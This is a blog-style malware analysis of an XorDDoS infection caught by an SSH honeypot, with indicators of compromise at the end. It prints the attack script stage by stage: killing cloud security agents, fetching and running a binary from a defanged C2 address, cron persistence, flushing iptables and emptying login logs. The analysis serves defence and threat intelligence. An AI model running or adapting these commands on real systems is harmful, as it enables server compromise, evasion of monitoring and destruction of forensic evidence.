ES EN
Index

XorDDoS · Chapter 1

Someone brought their malware to my house

I keep a honeypot in some corner of the network. Most of it is noise: scanners that look and leave. Until one got in, decided it was the administrator, and pushed its critter up through the service door.

A honeypot is a decoy: a machine that pretends to be vulnerable so it gets attacked, letting you see what they try and how. Mine has spent days soaking up the background traffic of the internet — tens of thousands of probes a day, almost all automated and charmless: "got an open port? left your .env lying around?". They look and move on.

But a well-placed decoy doesn't just count how many knock at the door. Every so often, one gets in — and that's where it gets interesting. This is the dissection of one of those: from the login to the binary, by way of the infection script, which is a small piece of grubby craftsmanship.

01The catch

The SSH decoy accepts weak passwords on purpose (that's the whole point). The attacker wasn't a person typing: it was a bot, and its sequence was mechanical and fast.

  1. 0.0sConnects to port 22 and tries root : ubnt — "ubnt" is the factory password of Ubiquiti gear (for its ubnt account; the bot recycles it against root). The decoy lets it in.
  2. 1.2sNo greeting, no poking around. Pastes a shell script of ~50 lines in one go and runs it.
  3. 61sSince wget didn't work for it on the decoy, it uploads the binary directly over SFTP — with a random name, skhqwensw — and tries to launch it (/bin/skhqwensw). It fails (the decoy doesn't really execute), but the sample is already mine.
Why a gibberish nameThe binary arrives as skhqwensw — random keystrokes. It's not carelessness: every infection uses a different, random name. That way detection rules or blocks by filename are useless, and two infected machines never share the same trace on disk. Cheap but effective evasion — and the reason the hash (which is stable) is the right way to identify it, not the name.

From login to disconnect, the whole session: 62 seconds (the last event lands at 61; the hangup, a second later). And that script pasted at second 1 is the heart of everything. Let's go line by line.

02The script, laid bare

A single shell command that does the lot: it finds somewhere to install itself, blinds the machine's security, downloads its binary to match the architecture, sabotages the competition and wipes its tracks. I've formatted it so it's readable, but the logic is exactly as it came.

A

Find a place where it can write and execute

Not just any folder will do: plenty of machines mount /tmp as noexec. So it tries several and checks it can actually execute, not just write.

stage-A · working dir
# try /dev/shm, /tmp, /var/tmp, /home, /root
for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
    touch "$i/test_exec"; chmod +x "$i/test_exec"
    if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
        wdir="$i"; rm -f "$i/test_exec"; break
    fi
done; cd "$wdir" || exit 1
B

Blind the (Chinese) cloud agents

This is where the target gives itself away: it kills the security agents of Alibaba Cloud (aegis/AliYunDun) and Tencent Cloud (YDService/tat_agent). It's going after servers in the Chinese cloud and switching off their monitoring so it can mine/attack without tripping any alarm or the usage alert.

stage-B · blind the watchers
for svc in aegis aliyun YDService tat_agent; do
    systemctl stop $svc; systemctl disable $svc; systemctl mask $svc
done
chattr -R -i -a /usr/local/aegis/   # strip the immutable flag...
chattr -R -i -a /usr/local/qcloud/  # ...so they can be deleted
pkill -9 AliYunDun; pkill -9 YDService
rm -rf /usr/local/aegis /usr/local/qcloud
C

Download the binary to match the architecture

It passes uname -m to its own server, which returns the right binary for that CPU (x86, ARM, MIPS…). And it tries six methods in cascade so it doesn't fail — including good and cool, which are its own wget/curl renamed (see stage E).

stage-C · arch-aware pull
arch=$(uname -m)
url="hxxp://169.239.130[.]20/new.php?type=${arch}"

# try in order until one fetches the file:
wget   -q -T 30 "$url" -O new.txt  ||
curl -skL -m 30 "$url" -o new.txt  ||
good   -q -T 30 "$url" -O new.txt  ||   # = its renamed wget
cool -skL -m 30 "$url" -o new.txt  ||   # = its renamed curl
python3 -c "import urllib.request;urllib.request.urlretrieve('$url','new.txt')" ||
python  -c "import urllib;urllib.urlretrieve('$url','new.txt')"

chmod +x new.txt
setsid "./new.txt" &   # setsid = survives the session closing

Three nuances to this infection phase: setsid detaches the process from the SSH session, so it stays alive even if the attacker closes the connection; if the file won't start as a binary, it retries it as a script (sh ./new.txt); and when no download method works — as on my decoy, which has no real wget — it has a plan B: push the binary itself over SFTP. That last resort is, ironically, what handed me the sample. Before all this it also checks a "lock" (/var/run/gcc.pid): if it's already running, it doesn't reinfect.

D

Persistence disguised as "gcc"

To survive reboots it nails down a cron every 3 minutes and installs itself as a boot service. It uses the name gcc as cover — a classic trait of the XorDDoS family.

stage-D · persistence
echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab
# + copies itself as init.d / rc.d (chkconfig, update-rc.d)
E

Sabotage the competition

The cleverest trick in the script: it renames wgetgood and curlcool. From then on, any other botnet that tries wget http://… to infect the same box fails — but this bot keeps downloading with the new names. Territory marked.

stage-E · lock out rivals
mv $(which wget) $(dirname $(which wget))/good
mv $(which curl) $(dirname $(which curl))/cool
F

Lower the drawbridge and wipe the tracks

First it disarms the defense: it stops firewalld/ufw and runs iptables -F (flushes all the rules), so nothing gets in the way of the conversation with the C2. Then it cleans up its access trail.

stage-F · anti-forensics
systemctl stop firewalld ufw; iptables -F   # the firewall comes down
for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
    echo > "$log"   # EMPTIES the file (doesn't delete it)
done

Each of those three files is a logbook of system access, and wiping them blinds the tools an administrator would use to check "who's been in?":

  • /var/log/wtmp — the successful logins (it's what the last command reads).
  • /var/log/btmp — the failed logins (lastb).
  • /var/log/lastlog — each user's most recent access.

The fine detail: it uses echo > file, which empties it, instead of rm, which would delete it. Why? Deleting the file would break the record and draw attention; leaving it in place but blank is subtler. After this, an admin's last returns nothing: as if nobody had ever logged in. What this script does not touch is /var/log/auth.log — an oversight of its own that would leave a trace of the SSH.

Its blind spot — and my safety netAll this wiping only reaches the logs on the machine itself. And above all, it can't touch what's recorded off the box: my decoy sends every event to a separate store, in real time. So while the bot thought it was erasing its tracks, I already had a copy of everything. Out-of-band logging beats local anti-forensics — it's honestly the most useful lesson of the whole incident.
What it says about its authorNone of these lines is brilliant on its own — they're known, copied techniques. But together they reveal someone who knows that noexec /tmp mounts, cloud agents and rival botnets all exist. You don't need to be a genius for this: you just need to know the terrain and assemble it with a bit of craft.

03The specimen

The binary it uploaded over SFTP.

SPECIMEN 001 · ELF

XorDDoS

◈ LIVE · DO NOT RUN
Type
ELF 32-bit i386 · static · stripped
Size
114,144 bytes
Packed
no (UPX ruled out)
Compiled with
Alpine clang 17.0.6 / LLD 17.0.6
Function
DDoS bot (HTTP flood)
C2
encrypted (XOR table)
SHA-256
6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638

Inside, among the strings, is the whole DNA of a denial-of-service bot: GET/POST HTTP templates for flooding (with a fake Chinese User-Agent), its C2 configuration hidden behind an XOR table, and the gcc.sh persistence paths we already saw in the script. The Alpine + clang fingerprint is uncommon and is useful for grouping future samples from the same author.

House ruleThe binary is not published — but the hash is: it's that full SHA-256 from the card above. With it, anyone can identify the sample and look it up on VirusTotal or MalwareBazaar without me having to hand out the critter. Sharing the hash is disclosure; handing out the binary is propagation. The first line of this diary.

04Who was behind it?

Only passive intelligence — third-party databases that already know those IPs. At no point is the attacker's machine touched: that would already be crossing to the other side.

Two servers touched this catch — the one that did the login and pasted the script, and the one serving the binaries — both on abuse-tolerant "offshore" hosting (cheap, disposable VPSes, not innocent victims). And one detail that teaches a lot: the distribution server — the one handing out the binary — is invisible to scan-based reputation feeds (GreyNoise "hasn't observed it") — because a server like that doesn't scan: it sits still, serving the critter to whoever comes for it. My honeypot caught it red-handed; the global databases have no idea. Moral: you need several sources.

Loose end · to be continuedOne piece is left unopened: the DDoS bot's C2 lives inside the binary, but encrypted with that XOR table — and it hasn't fallen to the quick methods. Recovering it is proper reverse engineering now: opening the ELF with Ghidra, locating the routine that decrypts it and pulling out the algorithm. That deserves a chapter of its own — how you recover a hidden configuration, for defensive ends and without touching the attack side. I'll gut it in the next installment.

05Indicators (IOCs)

Indicators from this catch — ready to block, hunt or report.

TypeValue
SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638
Distributionhxxp://169.239.130[.]20/new.php
Credentialroot : ubnt (Ubiquiti factory password)
Persistence/etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3
Renamedwget→good · curl→cool
Build fingerprintAlpine clang 17.0.6 / LLD 17.0.6

To be continued — this critter's C2 is still encrypted inside the binary; I gut it with Ghidra in the next installment. And the decoy stays lit, waiting for the next one. 🍯

Comments